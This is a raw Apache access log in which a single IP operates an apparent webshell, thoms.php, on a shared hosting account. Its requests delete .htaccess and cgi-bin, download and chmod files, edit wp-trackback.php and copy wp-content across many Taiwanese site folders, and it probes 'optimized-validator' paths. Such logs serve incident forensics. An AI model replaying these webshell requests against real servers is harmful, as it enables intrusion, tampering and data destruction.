45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=beauty-dental.com.tw&p= HTTP/1.1" 200 11436 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?dl=.htaccess&p= HTTP/1.1" 200 21713 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?p= HTTP/1.1" 200 21713 "https://163.245.207.76/bestzyx.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?del=ba-guo.com-20260912023525&p= HTTP/1.1" 200 21713 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:34 -0400] "GET /bestzyx.com.tw/thoms.php?p=bfl.com.tw HTTP/1.1" 200 17477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?del=bogroup.com.tw&p= HTTP/1.1" 200 21714 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?del=.htaccess&p= HTTP/1.1" 200 21704 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=mah.php&p= HTTP/1.1" 200 11425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?del=betcity.com.tw&p= HTTP/1.1" 200 21714 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?copy=big-wife.com.tw&p= HTTP/1.1" 200 12244 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?copy=biotaiwan.com.tw&p= HTTP/1.1" 200 12245 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?p= HTTP/1.1" 200 21737 "https://163.245.207.76/bestzyx.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?copy=bodbooks.com.tw&p= HTTP/1.1" 200 12207 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?copy=error_log&p= HTTP/1.1" 200 12228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?del=booking-wise2.com.tw&p= HTTP/1.1" 200 21714 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?p=betcity.com.tw HTTP/1.1" 200 17367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?copy=bft.com.tw&p= HTTP/1.1" 200 12247 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17369 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?copy=bossini.com.tw&p= HTTP/1.1" 200 12250 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?del=cgi-bin&p= HTTP/1.1" 200 21703 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?del=thoms.php&p= HTTP/1.1" 200 21718 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 21704 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17506 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=besth2o.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?copy=bogroup.com.tw&p= HTTP/1.1" 200 12250 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?copy=broadweb.com.tw&p= HTTP/1.1" 200 12246 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?p= HTTP/1.1" 200 21713 "https://163.245.207.76/bestzyx.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?p=upgrade HTTP/1.1" 200 13834 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?chmod=upgrade&p= HTTP/1.1" 200 11426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 12254 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:35 -0400] "GET /bestzyx.com.tw/optimized-validator/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F&location=%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/optimized-validator/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fcgi-bin&upload= HTTP/1.1" 200 12175 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fcgi-bin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fcgi-bin&settings=1 HTTP/1.1" 200 11914 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fcgi-bin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/cgi-bin HTTP/1.1" 301 795 "http://163.245.207.76:443/bestzyx.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/optimized-validator/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/optimized-validator/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/optimized-validator/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F&location=%2Fhome%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/cgi-bin/ HTTP/1.1" 200 691 "https://163.245.207.76:443/bestzyx.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/optimized-validator/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/optimized-validator/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/optimized-validator/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/optimized-validator/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F&option=folder HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/optimized-validator/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F%2Fcjfuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/optimized-validator/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/optimized-validator/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/optimized-validator/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/optimized-validator/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/optimized-validator/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /bestzyx.com.tw/optimized-validator/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator%2F&option=file HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /thoms.php?edit=wp-trackback.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 17435 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bodbooks.com.tw HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /thoms.php?edit=wp-trackback.php&p=bestzyx.com.tw HTTP/1.1" 200 13855 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=booking-wise2.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bioway88.com.tw HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bestjudy.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21783 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=cgi-bin HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=beauty-dental.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21784 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=besth2o.com.tw HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=ba-guo.com.tw HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=wp-content-20260912023544 HTTP/1.1" 200 11386 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bfl.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=biotaiwan.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11407 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21774 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=upgrade HTTP/1.1" 200 11379 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=wp-content HTTP/1.1" 200 11417 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
